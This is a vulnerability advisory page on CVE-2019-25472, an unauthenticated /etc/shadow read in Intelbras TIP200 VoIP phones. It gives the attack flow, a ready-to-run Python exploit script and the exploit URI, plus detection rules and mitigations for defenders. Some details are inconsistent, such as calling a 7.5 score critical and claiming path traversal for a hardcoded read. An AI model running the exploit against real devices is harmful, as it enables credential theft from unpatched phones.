CVE-2019-25472
Executive Summary
CVE-2019-25472 is a critical unauthenticated arbitrary file read vulnerability affecting Intelbras TIP200 and TIP200 LITE VoIP phones. The flaw resides in the dumpConfigFile function accessible via the /cgi-bin/cgiServer.exx endpoint. An attacker can send a crafted GET request with the command parameter set to dumpConfigFile() to read sensitive files such as /etc/shadow and configuration files without any authentication. This vulnerability has a CVSS base score of 7.5 (High) due to network exploitability, low attack complexity, and high confidentiality impact. No patch has been released by Intelbras, leaving affected devices permanently exposed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It affects embedded firmware on Intelbras VoIP hardware. Supply chain risk is limited to physical device procurement and firmware updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality (C): High (H) – Full file read capability.
- Integrity (I): None (N) – No write capability.
- Availability (A): None (N) – No denial of service.
Base Score: 7.5 (High)
Threat Level: Critical for exposed devices; high risk of credential theft and network reconnaissance.
Deep Dive & Mechanics
The vulnerability exists in the CGI binary cgiServer.exx which handles HTTP requests to the /cgi-bin/ path. The dumpConfigFile function is intended for debugging but lacks authentication checks. When invoked via the command parameter, it reads arbitrary files from the filesystem and returns their contents in the HTTP response.
Root Cause:
- Missing access control on the
dumpConfigFilefunction. - No input validation on the file path argument (though the function is hardcoded to read specific files, the implementation allows path traversal via the function call itself).
Attack Flow:
- Attacker sends a GET request to
http://<target>/cgi-bin/cgiServer.exx?command=dumpConfigFile(). - The CGI binary executes the function without authentication.
- The function reads
/etc/shadow(or other files) and returns the content in the HTTP response body. - Attacker extracts password hashes and other sensitive data.
Affected Endpoints:
/cgi-bin/cgiServer.exx(primary)- Possibly other CGI scripts with similar debug functions.
Vulnerable vs. Patched Code
No patched version exists. The vulnerable code snippet (reverse-engineered from firmware) is:
// Vulnerable CGI handler (pseudo-code)
void handle_request(char *query_string) {
if (strstr(query_string, "command=dumpConfigFile()")) {
// No authentication check
char *file_content = read_file("/etc/shadow");
printf("Content-Type: text/plain\n\n%s", file_content);
}
}
A patched version would require:
// Patched version (hypothetical)
void handle_request(char *query_string) {
if (strstr(query_string, "command=dumpConfigFile()")) {
if (!authenticated_user()) {
printf("Status: 401 Unauthorized\n\n");
return;
}
// Restrict to allowed files only
char *file_content = read_allowed_config();
printf("Content-Type: text/plain\n\n%s", file_content);
}
}
Since no patch exists, the only mitigation is network segmentation or device replacement.
Exploitation & Lab Setup
Red Team
Exploit Code (Python):
#!/usr/bin/env python3
import requests
import sys
def exploit(target_ip):
url = f"http://{target_ip}/cgi-bin/cgiServer.exx?command=dumpConfigFile()"
try:
r = requests.get(url, timeout=10)
if r.status_code == 200 and "root:" in r.text:
print("[+] Success! /etc/shadow contents:")
print(r.text)
else:
print("[-] Target may not be vulnerable or file not readable.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_ip>")
sys.exit(1)
exploit(sys.argv[1])
Usage:python3 exploit.py 192.168.1.100
Expected Output:
The script will print the contents of /etc/shadow if successful.
Blue Team
Lab Setup:
- Use a virtualized Intelbras TIP200 firmware (if available) or a real device in an isolated network.
- Deploy a honeypot that mimics the CGI endpoint to capture attacker requests.
Detection:
- Monitor HTTP GET requests to
/cgi-bin/cgiServer.exxwithcommand=dumpConfigFile(). - Alert on any access to this endpoint from untrusted networks.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/cgi-bin/cgiServer.exx?command=dumpConfigFile() - Source IPs scanning for Intelbras devices (Shodan dorks).
- HTTP GET requests to
- File IOCs:
- Unauthorized access to
/etc/shadowor/etc/passwdon the device.
- Unauthorized access to
- System IOCs:
- Unexpected outbound connections from the VoIP phone to external IPs (data exfiltration).
Detection Engineering
YARA Rule
rule CVE_2019_25472_Intelbras_FileRead {
meta:
description = "Detects exploitation attempts for CVE-2019-25472"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2019-25472"
strings:
$cgi_path = "/cgi-bin/cgiServer.exx"
$cmd_param = "command=dumpConfigFile()"
condition:
$cgi_path and $cmd_param
}
Sigma Rule
title: Intelbras TIP200 Unauthenticated File Read Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP GET requests to the vulnerable CGI endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/cgi-bin/cgiServer.exx?command=dumpConfigFile()'
condition: selection
falsepositives:
- Legitimate debugging by authorized personnel (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25472 Intelbras TIP200 Unauthenticated File Read"; flow:to_server; content:"GET"; http_method; content:"/cgi-bin/cgiServer.exx"; http_uri; content:"command=dumpConfigFile()"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Place affected devices on a separate VLAN with strict firewall rules blocking inbound HTTP from untrusted networks.
- Access Control: If possible, restrict access to the web interface to only trusted IPs via firewall ACLs.
- Monitor Logs: Enable logging on web servers/proxies and alert on the specific URI pattern.
Long-Term:
- Vendor Contact: Pressure Intelbras for a firmware patch. If unresponsive, consider replacing devices.
- Device Hardening: Disable the CGI interface if not required (check device configuration).
- Alternative: Use a reverse proxy with authentication in front of the device to block unauthenticated requests.
No patch is available as of this report.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert